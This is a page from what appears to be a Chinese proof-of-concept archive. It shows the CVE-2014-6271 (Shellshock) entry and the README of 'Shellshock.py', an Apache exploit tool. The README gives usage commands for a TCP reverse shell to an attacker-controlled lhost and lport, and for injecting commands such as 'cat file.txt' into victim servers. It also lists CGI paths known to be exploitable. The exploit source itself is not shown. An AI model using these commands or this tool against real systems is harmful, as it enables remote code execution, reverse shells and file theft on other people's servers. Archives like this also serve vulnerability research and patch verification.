Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2014-6271 PoC — GNU Bash 远程代码执行漏洞

Source
Associated Vulnerability
Title:GNU Bash 远程代码执行漏洞 (CVE-2014-6271)
Description:GNU Bash是美国软件开发者布莱恩-福克斯(Brian J. Fox)为GNU计划而编写的一个Shell(命令语言解释器),它运行于类Unix操作系统中(Linux系统的默认Shell),并能够从标准输入设备或文件中读取、执行命令,同时也结合了一部分ksh和csh的特点。 GNU Bash 4.3及之前版本中存在安全漏洞,该漏洞源于程序没有正确处理环境变量值内的函数定义。远程攻击者可借助特制的环境变量利用该漏洞执行任意代码。以下产品和模块可能会被利用:OpenSSH sshd中的ForceComman
Description
[CVE-2014-6271] Apache Shellshock Remote Command Injection tool for quick reverse shell and file browsing
Readme
# [CVE-2014-6271] Shellshock-Remote-Command-Injection
[CVE-2014-6271] Apache Shellshock Remote Command Injection tool for quick reverse shell and file browsing

    Shellshock Apache remote exploit
    
    Usage:
        ./Shellshock.py payload=reverse rhost=1.2.3.4 page=3 lhost=5.6.7.8 lport=1234
        ./Shellshock.py payload=files rhost=1.2.3.4 page=3 echo="ls -la"
        ./Shellshock.py payload=files rhost=1.2.3.4 page=3 echo="cat file.txt"

    Variables:
        Victim:
            rhost => Victim IP
            rport => Victim PORT 
            
        Attacker (For reverse shell):
            lhost => Attacker IP
            lport => Attacker PORT for reverse shell 
        
        Echo:
            echo => Custom command to inject
            
            Examples:
                echo="ls -la"
                echo="cat file.txt"
            
        Config:
            pages => Specific cgi vulnerable pages 
                Exploitable pages:
                    [0] /cgi-sys/entropysearch.cgi",
                    [1] /cgi-sys/defaultwebpage.cgi",
                    [2] /cgi-mod/index.cgi",
                    [3] /cgi-bin/test.cgi",
                    [4] /cgi-bin-sdb/printenv            
        Payloads:
            "reverse" => (unix unversal) TCP reverse shell (Requires: rhost, lhost, lport)
            "files" => Read and browse through files (Requires: rhost, echo)    
            
        Created by Filip Studený
File Snapshot

[4.0K] /data/pocs/a8bc1dc8ab2d7ec7e3f9f36f9fd9422fa0713690 ├── [1.4K] README.md └── [2.6K] Shellshock.py 0 directories, 2 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.